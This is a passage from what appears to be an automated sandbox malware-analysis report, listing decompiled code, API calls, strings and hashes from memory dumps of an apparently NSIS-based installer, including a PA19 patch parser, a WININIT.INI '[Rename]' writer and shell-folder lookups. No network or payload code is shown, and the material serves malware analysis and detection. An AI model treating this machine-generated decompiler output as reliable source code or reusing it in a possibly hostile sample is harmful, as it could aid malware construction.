											 *((intOrPtr*)(_v16 + 8)) = E72E42780(_a4) +  *_v16;
											_t340 = E72E42670(_a4);
											_t545 = _t548 + 8;
											 *((intOrPtr*)(_v16 + 4)) = _t340;
											_t341 = _v8;
											if( *_v16 >  *_t341) {
												L39:
												_a4[8] = 0xc00e4102;
												return _t341 | 0xffffffff;
											} else {
												_t341 =  *_v16 +  *((intOrPtr*)(_v16 + 4));
												if(_t341 >  *_v8) {
													goto L39;
												}
												_t341 = _v16;
												if( *((intOrPtr*)(_t341 + 8)) > _a4[2]) {
													goto L39;
												}
												_t341 = _a4;
												if( *((intOrPtr*)(_v16 + 8)) +  *((intOrPtr*)(_v16 + 4)) >  *((intOrPtr*)(_t341 + 8))) {
													goto L39;
												}
												_t341 =  *((intOrPtr*)(_v16 + 4));
												if(_t341 <= _a4[2]) {
													if(_v20 == 0) {
														L44:
														_v12 = _v12 + 1;
														continue;
													}
													_v32 = _a4[5] + 0x804 + _v12 * 0xc;
													_t349 = _v32;
													if( *((intOrPtr*)(_v16 + 8)) !=  *((intOrPtr*)(_t349 + 8))) {
														L43:
														_a4[8] = 0xc00e4102;
														return _t349 | 0xffffffff;
													}
													_t349 = _v32;
													if( *(_v16 + 4) ==  *((intOrPtr*)(_t349 + 4))) {
														goto L44;
													}
													goto L43;
												}
												goto L39;
											}
										}
										_t330 = E72E42670(_a4);
										_t546 = _t545 + 4;
										 *((intOrPtr*)(_v8 + 0x13f8)) = _t330;
										if( *((intOrPtr*)(_v8 + 0x13f8)) == 0) {
											_t331 = E72E42670(_a4);
											_t537 = _t546 + 4;
											 *((intOrPtr*)(_v8 + 0x13fc)) = _t331;
											_v20 = _v20 + 1;
											continue;
										}
										0x72e40000("special processing of 32-bit executables not implemented.\n");
										_t332 = _a4;
										 *(_t332 + 0x20) = 0x665;
										return _t332 | 0xffffffff;
									}
									_v20 = 0;
									while(_v20 < _a4[4]) {
										_v28 = _v20 * 0x140c + _a4[5];
										qsort(_v28 + 0xc,  *(_v28 + 8) & 0x000000ff, 8, E72E428C0);
										qsort(_v28 + 0x804,  *(_v28 + 9) & 0x000000ff, 0xc, E72E428F0);
										_t537 = _t537 + 0x20;
										 *(_v28 + 0x1400) = _a4[6];
										_a4[6] = _a4[6] +  *((intOrPtr*)(_v28 + 0x13fc));
										_v20 = _v20 + 1;
									}
									if(_a4[6] + 4 >= _a4[7]) {
										_v36 = _a4[7];
									} else {
										_v36 = _a4[6] + 4;
									}
									_a4[6] = _v36;
									_t302 = _a4;
									0x72e40000(0, _a8,  *((intOrPtr*)(_t302 + 0x18)) - _a8);
									_t303 = _t302 ^ 0xffffffff;
									_v48 = _t303;
									if(_t303 == 0) {
										L59:
										if(_a4[8] != 0) {
											_v40 = 0xffffffff;
										} else {
											_v40 = 0;
										}
										return _v40;
									}
									0x72e40000("patch file crc32 failed\n");
									if(_a4[6] < _a4[7]) {
										0x72e40000("probable header parsing error\n");
									}
									_a4[8] = 0xc00e4102;
									goto L59;
								}
								_a4[8] = 0xe;
								return _t298 | 0xffffffff;
							}
							return _t296 | 0xffffffff;
						} else {
							_a4[8] = 0xc00e4102;
							return _t296 | 0xffffffff;
						}
					}
					_t370 =  *_a4 & 0x7f00fff8;
					0x72e40000("unsupported option flag(s): 0x%08x\n", _t370);
					_a4[8] = 0x665;
					return _t370 | 0xffffffff;
				}
				0x72e40000("no PA19 signature\n");
				 *(_a4 + 0x20) = 0xc00e4102;
				return _t280 | 0xffffffff;
			}

0x72e4296c
0x72e42978
0x72e4297b
0x72e4297e
0x72e42988
0x72e42993
0x72e42998
0x72e429a0
0x72e429c5
0x72e429ca
0x72e429d0
0x72e429e1
0x72e42a17
0x72e42a1e
0x72e42a2a
0x72e42a2f
0x72e42a2f
0x72e42a3c
0x72e42a42
0x72e42a47
0x72e42a4d
0x72e42a4d
0x72e42a5b
0x72e42a62
0x72e42a6e
0x72e42a73
0x72e42a73
0x72e42a85
0x72e42a94
0x72e42aab
0x72e42aba
0x72e42ac9
0x72e42ad8
0x72e42add
0x72e42ae0
0x72e42ae7
0x72e42b02
0x72e42b11
0x72e42b18
0x72e42b1d
0x72e42b23
0x72e42b26
0x72e42b2d
0x72e42b41
0x72e42b53
0x72e42b6f
0x72e42b7e
0x72e42b8d
0x72e42b9e
0x72e42bac
0x72e42bbb
0x72e42bcb
0x72e42bd0
0x72e42bd3
0x72e42be5
0x72e42bff
0x72e42c11
0x72e42c17
0x72e42c1c
0x72e42c22
0x72e42c29
0x72e42c47
0x72e42c47
0x72e42c4f
0x72e42c53
0x72e42c74
0x72e42c77
0x00000000
0x72e42c55
0x72e42c5a
0x72e42c65
0x00000000
0x00000000
0x72e42c6a
0x72e42c72
0x72e42be2
0x00000000
0x72e42be2
0x00000000
0x72e42c72
0x72e42c53
0x72e42c96
0x72e42ca5
0x72e42cb5
0x72e42cba
0x72e42cbd
0x72e42ccf
0x72e42ced
0x72e42cf4
0x72e42cf9
0x72e42cff
0x72e42d05
0x72e42d35
0x72e42d35
0x72e42d4b
0x72e42d52
0x72e42d57
0x72e42d5d
0x72e42d63
0x72e42d6a
0x72e42dae
0x72e42db1
0x00000000
0x72e42d6c
0x72e42d74
0x72e42d7c
0x00000000
0x00000000
0x72e42d7e
0x72e42d8a
0x00000000
0x00000000
0x72e42d98
0x72e42d9e
0x00000000
0x00000000
0x72e42da6
0x72e42dac
0x72e42dc4
0x72e42e12
0x72e42ccc
0x00000000
0x72e42ccc
0x72e42de1
0x72e42de7
0x72e42df0
0x72e42e00
0x72e42e03
0x00000000
0x72e42e0a
0x72e42df5
0x72e42dfe
0x00000000
0x00000000
0x00000000
0x72e42dfe
0x00000000
0x72e42dac
0x72e42d6a
0x72e42e1b
0x72e42e20
0x72e42e26
0x72e42e36
0x72e42e5b
0x72e42e60
0x72e42e66
0x72e42b50
0x00000000
0x72e42b50
0x72e42e3d
0x72e42e45
0x72e42e48
0x00000000
0x72e42e4f
0x72e42e71
0x72e42e83
0x72e42e9b
0x72e42eb4
0x72e42ed6
0x72e42edc
0x72e42ee8
0x72e42f00
0x72e42e80
0x72e42e80
0x72e42f17
0x72e42f2d
0x72e42f19
0x72e42f22
0x72e42f22
0x72e42f36
0x72e42f39
0x72e42f49
0x72e42f51
0x72e42f54
0x72e42f57
0x72e42f8b
0x72e42f92
0x72e42f9d
0x72e42f94
0x72e42f94
0x72e42f94
0x00000000
0x72e42fa4
0x72e42f5e
0x72e42f72
0x72e42f79
0x72e42f7e
0x72e42f84
0x00000000
0x72e42f84
0x72e42b32
0x00000000
0x72e42b39
0x00000000
0x72e42ae9
0x72e42aec
0x00000000
0x72e42af3
0x72e42ae7
0x72e429e8
0x72e429f3
0x72e429fe
0x00000000
0x72e42a05
0x72e429a7
0x72e429b2
0x00000000

Strings

found %u range(s) to retain, xrefs: 72E42CB0
no PA19 signature, xrefs: 72E429A2
patch file crc32 failed, xrefs: 72E42F59
patch supports %u old file(s), xrefs: 72E42AD3
unsupported option flag(s): 0x%08x, xrefs: 72E429EE
probable header parsing error, xrefs: 72E42F74
special processing of 32-bit executables not implemented., xrefs: 72E42E38
patched file size will be %u, xrefs: 72E42A8F
skipping extra flag field, xrefs: 72E42A19
found %u range(s) to ignore, xrefs: 72E42BC6
skipping rebase field, xrefs: 72E42A5D
PA19, xrefs: 72E4299B

Memory Dump Source

Source File: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: PA19$found %u range(s) to ignore$found %u range(s) to retain$no PA19 signature$patch file crc32 failed$patch supports %u old file(s)$patched file size will be %u$probable header parsing error$skipping extra flag field$skipping rebase field$special processing of 32-bit executables not implemented.$unsupported option flag(s): 0x%08x
API String ID: 0-1685207504
Opcode ID: 1beb395019dcca80e61ad7ec59330ba5040c4b9e261e0b3e1f3aa2f07a198d77
Instruction ID: aec04ac81ee7548e1cd0170323d8945094760a7ce520a0c2e8796c6513a846dc
Opcode Fuzzy Hash: 1beb395019dcca80e61ad7ec59330ba5040c4b9e261e0b3e1f3aa2f07a198d77
Instruction Fuzzy Hash: 6A22FBB4A00109DFCB04CF58E490A99BBB2FF88358F24D299F8595F355DB31EA91CB91

Uniqueness

Uniqueness Score: -1.00%

Function 004058E6, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004058E6(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				intOrPtr _t18;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405F28(2);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423fd0 =  *0x423fd0 + 1;
						return _t20;
					}
				}
				 *0x4226c8 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422140, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421d40, "%s=%s\r\n", 0x4226c8, 0x422140);
						_t18 =  *0x423f50; // 0x6f2508
						_t56 = _t55 + 0x10;
						E00405BBA(_t43, 0x400, 0x422140, 0x422140,  *((intOrPtr*)(_t18 + 0x128)));
						_t20 = E0040586F(0x422140, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E004057E4(_t51, "[Rename]\r\n") != 0) {
								_t28 = E004057E4(_t26 + 0xa, 0x4093e4);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405830(_t51 + _t29, 0x421d40, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E00405B98(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E0040586F(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x4226c8, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x004058ec
0x004058f3
0x004058f7
0x00405900
0x00405904
0x00405a43
0x00405a43
0x00000000
0x00405a43
0x00405904
0x00405910
0x00405926
0x0040594e
0x00405959
0x0040595d
0x0040597d
0x0040597f
0x00405984
0x0040598e
0x0040599b
0x004059a0
0x004059a5
0x004059a9
0x00000000
0x00000000
0x004059b8
0x004059ba
0x004059c7
0x004059cb
0x00405a3c
0x00405a3d
0x00000000
0x004059e7
0x004059f4
0x00405a59
0x00405a60
0x00405a07
0x00405a07
0x00405a09
0x00405a12
0x00405a1d
0x00405a2f
0x00405a36
0x00000000
0x00405a36
0x00405a62
0x00405a63
0x00405a68
0x00405a6a
0x00405a77
0x00405a77
0x00405a7b
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a6c
0x00405a6c
0x00405a6f
0x00405a72
0x00405a73
0x00000000
0x00405a6c
0x004059ff
0x00405a04
0x00000000
0x00405a04
0x004059cb
0x00405928
0x00405933
0x0040593c
0x00405940
0x00000000
0x00000000
0x00405940
0x00405a4d

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000002,?,00000000,?,?,0040567B,?,00000000,000000F1,?), ref: 00405933
GetShortPathNameA.KERNEL32 ref: 0040593C
GetShortPathNameA.KERNEL32 ref: 00405959
wsprintfA.USER32 ref: 00405977
GetFileSize.KERNEL32(00000000,00000000,00422140,C0000000,00000004,00422140,?,?,?,00000000,000000F1,?), ref: 004059B2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 004059C1
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421D40,00000000,-0000000A,004093E4,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405A1D
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405A2F
GlobalFree.KERNEL32 ref: 00405A36
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A3D

Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Strings

[Rename], xrefs: 004059E7, 004059F9
@!B, xrefs: 0040594E
%s=%s, xrefs: 0040596D

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$@!B$[Rename]
API String ID: 3445103937-2946522640
Opcode ID: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction ID: 3fdb6a032fd62a2424e34f1ba2115feadd67922d203a780a084708b988c1bb31
Opcode Fuzzy Hash: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction Fuzzy Hash: C8410231B01B167BD7206B619D89F6B3A5CEF44755F04013AFD05F62D2E67CA8008EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405BBA, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00405BBA(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				intOrPtr _t73;
				signed int _t74;
				signed int _t75;
				intOrPtr _t79;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t79 =  *0x42371c; // 0x6f84cc
					_t36 =  *(_t79 - 4 + _t36 * 4);
				}
				_t73 =  *0x423f78; // 0x6f6e8c
				_t74 = _t73 + _t36;
				_t37 = 0x422ee0;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422ee0;
				if(_a4 - 0x422ee0 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E00405BBA(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422ee0;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x425000;
							E00405B98(_t86, (_t95 << 0xa) + 0x425000);
						} else {
							E00405AF6(_t86,  *0x423f48);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405DFA(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423fc4;
						if( *0x423fc4 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423f44; // 0x73e81340
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423f48,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423f48,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423f78;
							E00405A7F(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423f78, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E00405BBA(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E00405B98(_a4, _t37);
			}

0x00405bba
0x00405bba
0x00405bba
0x00405bc0
0x00405bc5
0x00405bc7
0x00405bd6
0x00405bd6
0x00405bd8
0x00405be1
0x00405be3
0x00405be8
0x00405beb
0x00405bec
0x00405bf3
0x00405bf5
0x00405bfb
0x00405bfe
0x00405bfe
0x00405dd7
0x00405dd7
0x00405ddb
0x00000000
0x00000000
0x00405c0b
0x00405c11
0x00000000
0x00000000
0x00405c17
0x00405c18
0x00405c1b
0x00405c1e
0x00405dca
0x00405dd4
0x00405dd6
0x00405dd6
0x00405dcc
0x00405dce
0x00405dd0
0x00405dd1
0x00405dd1
0x00000000
0x00405dca
0x00405c24
0x00405c28
0x00405c38
0x00405c3c
0x00405c43
0x00405c46
0x00405c4a
0x00405c50
0x00405c53
0x00405c56
0x00405c59
0x00405d74
0x00405d77
0x00405da7
0x00405daa
0x00405daf
0x00405db3
0x00405db3
0x00405db8
0x00405db9
0x00405dbe
0x00405dc1
0x00405dc3
0x00000000
0x00405dc3
0x00405d79
0x00405d7c
0x00405d91
0x00405d98
0x00405d7e
0x00405d85
0x00405d85
0x00405da0
0x00405da3
0x00405d6c
0x00405d6d
0x00405d6d
0x00000000
0x00405da3
0x00405c61
0x00405c62
0x00405c68
0x00405c6a
0x00405c84
0x00405c84
0x00405c8b
0x00405c8b
0x00405c92
0x00405c96
0x00405c96
0x00405c97
0x00405c99
0x00405cd2
0x00405cd5
0x00405ce5
0x00405ce8
0x00405cf0
0x00405cf6
0x00405cf6
0x00405d52
0x00405d52
0x00405d54
0x00000000
0x00000000
0x00405cfa
0x00405d01
0x00405d02
0x00405d04
0x00405d1e
0x00405d2c
0x00405d32
0x00405d34
0x00405d4f
0x00405d4f
0x00405d4f
0x00000000
0x00405d4f
0x00405d3a
0x00405d45
0x00405d4b
0x00405d4d
0x00000000
0x00000000
0x00000000
0x00405d4d
0x00405d06
0x00405d09
0x00000000
0x00000000
0x00405d18
0x00405d1a
0x00405d1c
0x00000000
0x00000000
0x00000000
0x00405d1c
0x00000000
0x00405d52
0x00405cdd
0x00000000
0x00405c9b
0x00405ca0
0x00405cb6
0x00405cbb
0x00405cbe
0x00405d5b
0x00405d5b
0x00405d5f
0x00405d67
0x00405d67
0x00000000
0x00405d5f
0x00405cc8
0x00405d56
0x00405d56
0x00405d59
0x00000000
0x00000000
0x00000000
0x00405d59
0x00405c99
0x00405c6c
0x00405c70
0x00000000
0x00000000
0x00405c72
0x00405c76
0x00000000
0x00000000
0x00405c78
0x00405c7c
0x00000000
0x00405c7e
0x00405c7e
0x00000000
0x00405c7e
0x00405c7c
0x00405de1
0x00405deb
0x00405df7
0x00405df7
0x00000000

APIs

GetVersion.KERNEL32(00000000,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405C62
GetSystemDirectoryA.KERNEL32 ref: 00405CDD
GetWindowsDirectoryA.KERNEL32(rzxxndps,00000400), ref: 00405CF0
SHGetSpecialFolderLocation.SHELL32(?,0040F0E0), ref: 00405D2C
SHGetPathFromIDListA.SHELL32(0040F0E0,rzxxndps), ref: 00405D3A
CoTaskMemFree.OLE32(0040F0E0), ref: 00405D45
lstrcatA.KERNEL32(rzxxndps,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D67
lstrlenA.KERNEL32(rzxxndps,00000000,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405DB9

Strings

rzxxndps, xrefs: 00405BE3, 00405CAA, 00405CC7, 00405CDC, 00405CEF, 00405D0B, 00405D36, 00405D66, 00405D6C, 00405D84, 00405D97, 00405DB2, 00405DB8, 00405DC3, 00405DED
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D61
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405CAC

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$rzxxndps
API String ID: 900638850-3933279514
Opcode ID: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction ID: c09fc2b2839bb59ef3d9b0e1161cb0e194e2e056f91f07e7f33828596fbb00b3
Opcode Fuzzy Hash: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction Fuzzy Hash: CE51F331A04A05AAEF215F648C88BBF3B74EF05714F10827BE911B62E0D27C5942DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 72E43BB0, Relevance: 16.6, APIs: 11, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E72E43BB0(WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				long _v16;
				struct _SECURITY_ATTRIBUTES* _v20;
				void* _v24;

				_v12 = 0xffffffff;
				_v8 = 0xffffffff;
				_v20 = 0;
				_v16 = 0;
				_v24 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v24 == 0xffffffff) {
					return 0;
				}
				if(_a8 == 0) {
					L5:
					if(_a28 != 0 || (_a16 & 0x00000004) != 0) {
						L9:
						_v20 = E72E43930(_v24, _v12, _v8, _a16, _a20, _a24, _a28);
						if(_v20 == 0) {
							_v16 = GetLastError();
						}
						if(_v8 != 0xffffffff) {
							CloseHandle(_v8);
							if(_v20 == 0) {
								DeleteFileW(_a12);
							}
						}
						goto L14;
					} else {
						_v8 = CreateFileW(_a12, 0x40000000, 0, 0, 2, 0, 0);
						if(_v8 != 0xffffffff) {
							goto L9;
						}
						_v16 = GetLastError();
						L14:
						if(_v12 != 0xffffffff) {
							CloseHandle(_v12);
						}
						goto L16;
					}
				} else {
					_v12 = CreateFileW(_a8, 0x80000000, 1, 0, 3, 0, 0);
					if(_v12 != 0xffffffff) {
						goto L5;
					}
					_v16 = GetLastError();
					L16:
					CloseHandle(_v24);
					SetLastError(_v16);
					return _v20;
				}
			}

0x72e43bb6
0x72e43bbd
0x72e43bc4
0x72e43bcb
0x72e43beb
0x72e43bf2
0x00000000
0x72e43bf4
0x72e43bff
0x72e43c31
0x72e43c35
0x72e43c6c
0x72e43c90
0x72e43c97
0x72e43c9f
0x72e43c9f
0x72e43ca6
0x72e43cac
0x72e43cb6
0x72e43cbc
0x72e43cbc
0x72e43cb6
0x00000000
0x72e43c3f
0x72e43c58
0x72e43c5f
0x00000000
0x00000000
0x72e43c67
0x72e43cc2
0x72e43cc6
0x72e43ccc
0x72e43ccc
0x00000000
0x72e43cc6
0x72e43c01
0x72e43c1a
0x72e43c21
0x00000000
0x00000000
0x72e43c29
0x72e43cd2
0x72e43cd6
0x72e43ce0
0x00000000
0x72e43ce6

APIs

CreateFileW.KERNEL32(FFFFFFFF,80000000,00000001,00000000,00000003,00000000,00000000), ref: 72E43BE5
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 72E43C14
GetLastError.KERNEL32 ref: 72E43C23
CloseHandle.KERNEL32(000000FF), ref: 72E43CD6
SetLastError.KERNEL32(00000000), ref: 72E43CE0

Memory Dump Source

Source File: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorFileLast$CloseHandle
String ID:
API String ID: 3924142190-0
Opcode ID: 376377368a140ba387785d64fefe947dc00c043aa31589646f956ddbded9b7f6
Instruction ID: 8c81ab8fc2787477e07443b313583eec783a8af2552adbabf8d4be6ac2a00fa9
Opcode Fuzzy Hash: 376377368a140ba387785d64fefe947dc00c043aa31589646f956ddbded9b7f6
